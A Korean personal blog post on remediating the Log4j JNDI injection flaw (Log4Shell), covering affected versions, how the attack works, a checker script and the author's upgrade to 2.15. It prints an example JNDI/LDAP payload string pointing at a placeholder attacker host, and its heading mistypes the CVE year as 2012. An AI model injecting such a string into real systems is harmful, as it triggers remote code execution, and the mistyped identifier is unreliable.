log4j 라이브러리 취약점 조치
시스템 | 2021.12.18 11:59
1. log4j 원격코드 실행 취약점(CVE-2012-44228)
log4j는 Apache Software Foundation에서 개발한 Java Logging Framework로 프로그램 작성, 동작도중에 로그를 남기기 위해 사용되는 자바 기반의 로깅 프로그램.
JNDI(Java Naming and Directory Interface) 인젝션 취약점을 이용해 원격코드실행(RCE)이 가능.
발견된 취약점은 CVSS스코어 10점 가장 치명적인 공격수단으로 분류됨.
https://namu.wiki/w/Log4j 보안 취약점 사태
2. 해당 버전
log4j2 라이브러리 2.0-beta9 ~ 2.14.1 버전을 사용하는 모든 소프트웨어
3. 공격설명
JNDI Paser 인젝션을 통해 공격
- JNDI내 SPI(Service Provider Interface) 중 LDAP를 지원하는 과정에서 공격가능
- 공격자가 원격서버에서 페이로드를 검색하여 로컬에서 실행할 수 있도록 하는 LDAP커넥터의 JNDI 구성요소를 아래와 같은 형태로 공격
${jndi:ldap://attacker_controled_website/payload_to_be_executed}
4. 취약점 점검 방법
- log4j 업데이트
- 점검코드를 이용한 취약점 확인
Github에 공개된 Python 점검 스크립트(CVE-2021-44228 checker)를 이용한 확인
- https://github.com/northwavesecurity/log4jcheck
5. 조치
나는 log4j 1.2 버전을 사용해서 해당되지 않지만 찝찝해서 스프링재단에서 권고하는 2.15 이상 버전을 설치했다.
https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/2.15.0
해당 maven 스크립트를 받아서 pom.xml에 적용하고 다시 빌드하고 log4j-2.15 버전 확인
"시스템" 카테고리의 다른 글
java class 버전차이에 의한 오류 및 해결 (0) | 2022.01.16 |
서브넷마스크에 대한 이해 (0) | 2021.12.18 |
log4j 라이브러리 취약점 조치 (0) | 2021.12.18 |
delphi에서 grep 사용하기 (0) | 2021.11.30 |
linux grep man 번역 (0) | 2021.11.30 |